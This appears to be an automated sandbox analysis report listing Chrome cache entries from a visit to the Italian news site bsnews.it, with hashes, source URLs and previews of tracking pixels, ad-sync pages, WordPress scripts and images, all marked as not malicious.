Preview:	jQuery().ready(function(){var b={type:"inline",preloader:!1,focus:"#name",removalDelay:500,callbacks:{beforeOpen:function(){this.st.mainClass=this.st.el.attr("data-effect");tdLogin.clearFields();tdLogin.showHideMsg();700>jQuery(window).width()?this.st.focus=!1:!1===tdDetect.isIe&&(this.st.focus="#login_email")},beforeClose:function(){}},disableOn:function(){return 750>jQuery(window).width()?!1:!0}};void 0!==window.tdb_login_sing_in_shortcode&&(jQuery(".tdb_header_user .td-login-modal-js").magnificPopup(b),jQuery(".tdb-head-usr-log").on("click",function(a){750>jQuery(window).width()&&jQuery(a.target).parents("tdb_header_user").length&&(a.preventDefault(),jQuery("body").addClass("td-menu-mob-open-menu"),jQuery(".td-mobile-container").hide(),jQuery("#td-mobile-nav").addClass("td-hide-menu-content"),setTimeout(function(){jQuery(".td-mobile-container").show()},500),tdLogin.showHideElementsMobile([["#td-login-mob",1],["#td-register-mob",0],["#td-forgot-pass-mob",0]]))}));"yes"===window.tdc_i

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUuaaat/DemxhkYltxlzeze:bR1Nize
MD5:	14D1707EDA790F543C6FB8D0DCFF6359
SHA1:	CF7049298A876447C2854CF2BC4DF2987587AAC5
SHA-256:	DE9D3FD0EB948BD294477D0EDA60A73B85CAFF1794803530D0463193A113DA98
SHA-512:	27656D6106A6DA0C84174BA7A6307E6F1C4B3F2CC085C8466B6A25D54331035DABC7081AAC208D960D8D37C5577547628C0D1C4B77BB4CF254C71859673FEEC1
Malicious:	false
Reputation:	low
URL:	https://ps.eyeota.net/match/bounce/?bid=1mpn7m0&uid=v0AzJsI2nziHah6o4johN2RyxXGWXzGD4-NLxP6JfGc_AGBwGEB3RT3aBpEFi7UQ&gdpr=0&gdpr_consent=&us_privacy=1---
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=ff96d1aa62deeebd&fi=b908337b94350305&uid=141032c6-fc7c-0176-022b-96010142e46a
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (915), with no line terminators
Category:	downloaded
Size (bytes):	915
Entropy (8bit):	5.154927629959117
Encrypted:	false
SSDEEP:	24:fXffmV8dRDShLcXZtJRJCquAXnJI4iXTJpRWU+yZOQ5:fPMhLEvCs3yrPwU+y3
MD5:	8A008BFE68D449ECC63FB9070048C45D
SHA1:	8289A8A5E32B626CA123D7A7B8DBA055DA18AC37
SHA-256:	1418C3404F5F6DEE81B72541DEE5E2E7D844D0052D3B32C565B776B7B72910AF
SHA-512:	ABFDD5F78A4664326AD3A8344A5F7CB2DE43D5F451FFB55953AC26F0BD0C12FF2F5F0990AA629100F49F849C022DB539864E8763362D28F2C0177B0390A89EB8
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/280.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[280],{280:(t,e,s)=>{"use strict";s.r(e);var c=s(845);const{LoggerSour:r,filterListByPageType:o}=c.t,u=new r("Custom Scripts");!function(){var t=window;const{scriptsToLoad:e,device:s,pageType:c}=t._sour.config;if(!e.customScripts)return;if(!e.customScripts.extraParams)return;if(0===o([e.customScripts],c,s).length)return;if(e.customScripts.selector&&document.querySelectorAll(e.customScripts.selector).length<=0)return!1;u.log("Initialize CustomScripts",e.customScripts,s,c);const{extraParams:r}=e.customScripts;let n="<span class='sour-custom-scripts'>";Object.keys(r).map((t=>{const e=r[t];n+=e})),n+="</span>";var i=document.createRange();i.selectNode(document.getElementsByTagName("body")[0]);var a=i.createContextualFragment(n);document.body.appendChild(a),u.log("End CustomScripts",e.customScripts,s,c,a),document.body.appendChild(customScript)}()}}]);

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?cid=40662bab-59e7-453d-8534-da10890213df&zpartnerid=5&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1004), with no line terminators
Category:	downloaded
Size (bytes):	1004
Entropy (8bit):	4.9142851425162535
Encrypted:	false
SSDEEP:	24:z2jT1SIfTwL7bBLV3deJuK5+euIfulT7tVhw+WK0:cNTofRVy+gSTLNWK0
MD5:	B0F572899CB526236B1149179A2EFD5D
SHA1:	D632928A48CE7A711441F4153199E7F192180BB4
SHA-256:	48549AF7293B4B08B1FA5CBD6B68221B708B3F8FBBD55C7801B5D07BC1AD3646
SHA-512:	DEAEAE5A43F8FB0182FA4E9532FCCA1325CE7D12D28E6EA3C82562B0829778D44C88DC659E352E43A994AF1D5AB12996C8CABC1E5535D012491ECA103400A0F2
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/js/wp-bannerize-impressions.min.js?ver=1.6.9
Preview:	jQuery(function(a){"use strict";function n(){window.WPBannerize.General.impressions_enabled&&(window.WPBannerizeImpressions=[],a('div[data-impressions_enabled="true"]').each(function(n,e){var i,e=a(e);e.is(":visible")&&0<(i=e.data("banner_id"))&&(console.log("push",i),WPBannerizeImpressions.push(i),e.data("impressions_enabled",!1))}),0<window.WPBannerizeImpressions.length&&(console.log("post",WPBannerizeImpressions),a.post(ajaxurl,{action:"wp_bannerize_add_impressions",banner_id:WPBannerizeImpressions,referrer:document.location.href},function(n){})))}function e(){window.WPBannerize.General.clicks_enabled&&a('div[data-clicks_enabled="true"]').each(function(n,e){var i;a(e).is(":visible")&&(i=a(e).data("banner_id"),a(e).find("a").off("click"),a(e).find("a").on("click",function(){a.post(ajaxurl,{action:"wp_bannerize_add_clicks",banner_id:i,referrer:document.location.href},function(n){})}))})}a(document).on("wpbannerize.init.impressions",n),a(document).on("wpbannerize.init.clicks",e),n(),e(

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	113
Entropy (8bit):	4.8748089978446565
Encrypted:	false
SSDEEP:	3:tIsqDmJS4RKb5ykKcvWebvSJWHG3Xg38aqsH5Eg8:tI9mc4sl3WZJAF3ZZh8
MD5:	A0A7F6CF67B863940ECEAA40397E2030
SHA1:	3E9457079C5737F33B7B6482121DA9D6B274624E
SHA-256:	93F28A18A1DF638B539F6BDE99C048A50AD7B8A5643C6966A0546A0C50F7CACE
SHA-512:	D5797616E4B7665CB0FAF0FD7E02676A98C993ECC8BF414B60A6F07429D5F9C1B287007442C41277FE961A24684A7CF48707E50AA8676A0ACB7FCD6DC14E706A
Malicious:	false
Reputation:	low
URL:	https://s.w.org/images/core/emoji/14.0.0/svg/1f534.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><circle fill="#DD2E44" cx="18" cy="18" r="18"/></svg>

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	7798
Entropy (8bit):	7.973691059532548
Encrypted:	false
SSDEEP:	192:f6Kr5IaAoEVtsEePwLXvWDzAFacxL/J0DM6/JbQB:S/aAorPeTkcZJuWB
MD5:	044F19F1FB54A98B36D958B455EDD868
SHA1:	A9E9DD024842E14A94B21EAA00F201A8393E9229
SHA-256:	11E253BCD3077356776BABA57827322142FBF44F48C5A920D6D8AFEFE5F3CC91
SHA-512:	52E1A125D36DA374AC6C9C7F3738B1CE31BC46B920B9171B36ECB37603836402B23F12EBC27CEC8E8B1F9A860459D7EA594BB11F5FD090D59AC982F661728B09
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg?resize=324%2C160&ssl=1
Preview:	RIFFn...WEBPVP8 b...0w...D...>m2.G$#!.).....em..W./....K..WS.a.x.......Z.2.g.6..]....../.......?........~....3...w....v......!.......;.a*.c.L7.e....r.. ..F9N...........&..OAQl .......U..^.Q.d...0.F..L..e..2.(..X..._....!.%.f.a..?U.`:...ld\|?.....j...;.{z-!.\..R..;[...E....g...4..<.........B.w...Fh.+.m..j.,).U.Vqj..\.g..;.~J .j.(.[.vL.W@. .1..n....V..I..r..Z.6.Ke.W,./u+[..U..X..M ..~b....%..4u.{W..I{...4....%g..}.........F..........P........G.....M)h.E.E^.`.^'...6.E@...L3]1..~..=...t......O.H#...=W.1....P.l,.[...?L...4!..;.....k.=..(.R..X...3..{..kL ..6....."............r.G.t..#../ ..(n.%..`.k.....faM.....9..L..-..H..9.Y..)@1.l...[..^eJ.......okh.....{.t~P..9..=.m.).!...-.R.....p.,...v.U.s....a.K5.Z.N<!!.,..k.];.b>^....B..........@.....%..i.L.b.....g..&Gl.....:y.b..&..$....X0.lsJ.....i."{....`Ot.!.n.VB%..M.Dt.3.....xav...hR.0...,..V._..u..@.....IB..}.X..#.1^..i...1.T..`U....z...Zs.B..@....q....`.-.}7H.b.)l...........Oe.4{......U..u

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	56116
Entropy (8bit):	7.976477838034947
Encrypted:	false
SSDEEP:	1536:Ec+j7iecOyEfnogN2k7gx5cD6GNdK0l7uqUfIevFYaq:LC7iecOyUogzkx5cD6GwqsFHq
MD5:	D696B136D37A2214E20154AEEF137CA8
SHA1:	3319B7C559F22957C59F4E4FF3E5441989ED3A68
SHA-256:	10BCA9A60B1FAC92733E27EB12D4BC0154C43220D6EE6356EF8DE657E7966C92
SHA-512:	548B22DF318E9F12D7B6C4A206271C9BB659811CB4C41F72E61B8486BDF92BF39932B3DCE70AA4216C854C2D53D82800FE372EB54CA1D54A560B33C7531060A4
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png?resize=324%2C160&ssl=1
Preview:	RIFF,...WEBPVP8L .../C.'.M8.$5l......_.Hj......<......i..<.........w...2...y".%..b...5S.L..Dx....WRQu=..5l..JJ............\U..13\|%......^9.g..E..^..4e3.Y...d[..w,...x_;"5..\..xgZ..^.x".u.....#.=3.Q.W.l.c.....V..b{.B....ZR...~..{........L]l{.-..B..m..J.:~X>.........mz....}...]@..`....R.....n....p.Ir$..KN<........i....wA.".U.}...O...G...H.8,6...@K..H.d81UU/...}....\.......8.:6..p.[!L&a.>......(.)..qpQ....(P....J.&_OS.y8.y....@`..6...i.c.H.........FQ..c0...I........A..\L....c.b....i%.!..&.... P..p...b..3.E%....>H8.ar............B..$M+.QQ.p=\?.q....Bc..../:a.BS;.'..B..x..8.LB...:N;o..^A.a..>vv..j...>o8..b...8..c%..!......B...........,........ZcG.....e..(...=....89.!.'...`..&...b.;t.7.xc....P..N'\h%.p..q...kX.p..$^.x...."....ok.....uZ.b...7...]..-W9...7.q.&..J?.yC..F.k4...\.L.....h..<._.R..>!........k....r.h...@...{...XrI.d-..Z...`...=.......' ....$......@..[Q\|.(.2.........h....e...`[....E-....../...x3.en... p....F..t=..1o......`..0....$3z

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.94770277922009
Encrypted:	false
SSDEEP:	3:Obn:Obn
MD5:	9D1EAD73E678FA2F51A70A933B0BF017
SHA1:	D205CBD6783332A212C5AE92D73C77178C2D2F28
SHA-256:	0019DFC4B32D63C1392AA264AED2253C1E0C2FB09216F8E2CC269BBFB8BB49B5
SHA-512:	935B3D516E996F6D25948BA8A54C1B7F70F7F0E3F517E36481FDF0196C2C5CFC2841F86E891F3DF9517746B7FB605DB47CDDED1B8FF78D9482DDAA621DB43A34
Malicious:	false
Reputation:	low
Preview:	Not Found

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1005)
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	5.426593555078659
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hThFbzXh6vEFM+sBntvwCCZV9UkYTuRXKr5c:c2Yz8TrYviMnhYJYTuRXEc
MD5:	E7139DEACBF17B2D7ACA0D306B2F9CD0
SHA1:	8F2637D1592D960B58842A313CEAC2862489C93B
SHA-256:	33E559E64C7EECCE97BF11A6B3AA5A9634F7F30B7A90898AAF22B3C64B65A5A7
SHA-512:	E4C96A648604C23F789BF09684222E93936FF7339A150FB346D51295B7AFBB2C78D6318C7B1341CDF3F2EF6F9F54D21E456627A879C35951181A5C404CCA63A4
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=conversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://ksk.t.zucks.net/mc/cs?rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear><

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	120980
Entropy (8bit):	5.262460399651544
Encrypted:	false
SSDEEP:	1536:p8oJ7XvEIwo159c55/d+BNdzmZ1B5o4+S:pV7XvEIwo159c55/d+BNa1DoI
MD5:	44937D29A060E385BF3E8875FBF02D08
SHA1:	714A590F7A95E123FADCFDFC5CB82207AD305A2C
SHA-256:	A3337C9FC0E4E048DDF1C4EE70E138583725F3F423AFEA2652B0E24FD99ACB64
SHA-512:	4AA4BCACEAD865260D7A69BD516F63E260ED81E6FCBE90D24E6867AE2D14283056DD20741EC41803E79334332AC3457EC2AE08BFB95129594DCF049FAF568F47
Malicious:	false
Reputation:	low
URL:	https://cdn.adkaora.space/movingup/generic/prod/adk-init.js
Preview:	function a0_0x2f0d(_0x137af6,_0x2afd07){var _0x3408d9=a0_0x32e6();return a0_0x2f0d=function(_0x1f952e,_0x3f8c02){_0x1f952e=_0x1f952e-0x8a;var _0x32e684=_0x3408d9[_0x1f952e];return _0x32e684;},a0_0x2f0d(_0x137af6,_0x2afd07);}function a0_0x32e6(){var _0x2db81d=['name','generic','removeEven','ent','der}}/inte','fcValue','open','Javascript','\x20already\x20e','rKvKw','nPdWf','adk_commen','NNtsU','dden_ifram','ByType','logs-handl','userLangua','join','e-middle2','adk_inters','adkGDPR','eues','https://cd','adk_articl','url','removeItem','get','ti-bottom5','userInfo','exports__','host','cBsDG','beta-c','nfplm','cJbGD','-top2','-bottom5','amp','eOffset','keys','space/libr','adkEnv','kQjwQ','adk_spalla','interstiti','ed:\x20','parse','div','error','ti-bottom','beforeAdkI','LSseJ','dqUJg','querySelec','cityArea','etely\x20load','adk_impact','web','-top4','oll_vertic','downlinkMa','son;base64','location','nterstitia','important;','OsKXf','stable','article','tabletLand','tor','supports','ind\x20a\

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8793), with no line terminators
Category:	downloaded
Size (bytes):	8793
Entropy (8bit):	5.111927444287139
Encrypted:	false
SSDEEP:	192:Tb4LnkEygCApK/Gob7Q9f6L75Oyy2YR/KsLUWF//66SEbDDfOFGmmKWR:T8LkEygCApK/GcQeUl/6nEbD6FGmi
MD5:	FDF202ABD4476FBB38A872C322FE32B3
SHA1:	D728B2A9CC4A0875C901AA602A3920B198922B54
SHA-256:	9E1DAE23D3AD3212F67D09CA79A50003C32953C36BAB976F634C9B38D8A8C6DC
SHA-512:	BCDCDB1393C53D5E69B5AAB491C2D616A71BD0E165AE6FC9D5E1CB0FA5802D12A2E37F98DC8BC1FAF57E2B4CFB3FF4481611C249076B29C344D5D4D8FECDC92C
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/p/jetpack/13.2.2/_inc/build/sharedaddy/sharing.min.js
Preview:	!function(){var e=document.currentScript;function t(t){var n=document.createElement("script"),o=e\|\|document.getElementsByTagName("script")[0];n.setAttribute("async",!0),n.setAttribute("src",t),o.parentNode.insertBefore(n,o)}function n(e,t){return Element.prototype.matches?e.matches(t):Element.prototype.msMatchesSelector?e.msMatchesSelector(t):void 0}function o(e,t){if(e.closest)return e.closest(t);var o=e;do{if(n(o,t))return o;o=o.parentElement\|\|o.parentNode}while(null!==o&&1===o.nodeType);return null}function i(e,t){for(var n=0;n<e.length;n++)t(e[n],n,e)}var r=".sharing-hidden .inner",s="data-sharing-more-button-id";function a(e){this.button=e,this.pane=o(e,"div").querySelector(r),this.openedBy=null,this.recentlyOpenedByHover=!1,a.instances.push(this),this.pane.setAttribute(s,a.instances.length-1),this.attachHandlers()}if(a.instances=[],a.hoverOpenDelay=200,a.recentOpenDelay=400,a.hoverCloseDelay=300,a.instantiateOrReuse=function(e){var t=o(e,"div").querySelector(r),n=t&&t.getAttribut

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=e64f73568d2b3c34&fi=b908337b94350305&uid=ua-6d357717-c6d9-366c-9253-46ce33ac55e2
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (9139), with no line terminators
Category:	downloaded
Size (bytes):	9139
Entropy (8bit):	5.433344729119118
Encrypted:	false
SSDEEP:	192:XeqyXzeyIPGyFyywe7/7OyspyEmR1tjZasG4557ThNBFkumAagW/f2rl+EAl:XeqyXzeyWGyFyy7eyspyEmRTjAsX7Ths
MD5:	38C114D82E3D811243C5081C4BE05974
SHA1:	1F79C9A230E267F27974D212FCC6CB4475DD69A5
SHA-256:	D06D80F5B1305FD806C2788819A515C9F9393BDA4FF9515067DE9587EB178E87
SHA-512:	F74611DDE830990751EE3511CE4603D3C19C139A266876F1DFB99633C0C15268DE5C177F3420FCD405F5CE986534C65973F814F2D2054DA79D34D78B79053C66
Malicious:	false
Reputation:	low
URL:	https://public.servenobid.com/sync.html?gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&usp_consent=${US_PRIVACY}&redirect=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DNOBID%26ttl%3D720%26uid%3D541085f3c3b063fcade759fd347ed803%26visitor%3D%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=
Preview:	<html><head><link rel="icon" href="data:,"></head><body><script>(()=>{var e={192:(e,t,n)=>{const o=n(662),r="https://ads.servenobid.com",i=function(e){const t=window.nobidQueryString.gdpr?Number(window.nobidQueryString.gdpr):0,n=window.nobidQueryString.gdpr_consent?window.nobidQueryString.gdpr_consent:"";let o="1YN-";window.nobidQueryString.usp_consent?o=window.nobidQueryString.usp_consent:window.nobidQueryString.us_privacy&&(o=window.nobidQueryString.us_privacy);const r="gdpr="+t+"&gdpr_consent="+n+"&us_privacy="+o+"&";return e?encodeURIComponent(r):r},s=function(e,t,n,o){if(document.body){const i=document.createElement("iframe");i.style.display="none";const s=void 0!==n&&n?n:"";i.src=t+(o?"":encodeURIComponent(r+"/sync?pid="+e+"&uid="+s)),document.body.appendChild(i)}else setTimeout((function(){s(e,t,n)}),3e3)},c=function(e,t,n,o){if(document.body){const i=void 0!==n&&n?n:"",s=new Image(0,0);s.style.display="none",s.src=t+(o?"":encodeURIComponent(r+"/sync?pid="+e+"&uid="+i))}else set

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/bf7c142f4339da0278e83698a02b0854/?referrer=[PAGE]&consentString=[GDPR_CONSENT]&r=https%3A%2F%2Fsync.admanmedia.com%2F5adaebfbb9dfe4ba75269cf62a4503e8.gif%3Fpuid%3D[PDID]
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	207813
Entropy (8bit):	5.5377049184474085
